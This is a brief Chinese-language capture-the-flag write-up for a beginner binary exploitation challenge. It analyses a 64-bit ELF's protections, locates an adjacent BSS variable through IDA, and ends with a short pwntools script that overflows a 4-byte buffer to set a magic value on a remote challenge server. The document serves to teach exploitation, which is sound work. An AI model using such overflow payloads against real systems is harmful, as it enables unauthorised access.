开始进军PWN题
目录
分析
使用 file 和 checksec(查看程序的保护机制) 指令分析文件
x86-64 架构 Linux可执行文件ELF
checksec参数
Arch 程序架构信息。这里是amd64-64的
RELRO 主要针对 GOT 改写的攻击方式的保护 RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。 这里也没作保护
Stack 栈保护 这里没有启用
NX 栈没有执行权限 这里是打开的
PIE 保护地址信息 这里关闭
拖入IDA
查看main函数
跟进sub_400686
所以main函数的if判断语句是重点,只要dword_60106C==1853186401 就可以拿到flag
这里还有一个read,也就是读取输入的点,将值保存在unk_601068
去看看它们在BSS段的地址,发现就在一起,而且unk_601068他的地址区域只有4个字节,而我们的read函数可以读取0x10,我们只要构造输入溢出到dword_60106C,将他的值用1853186401覆盖即可
exp
from pwn import *
p=remote('220.249.52.133',38133)
payload='a'*4+p64(1853186401)
p.recvuntil("lets get helloworld for bof")
p.sendline(payload)
print p.interactive()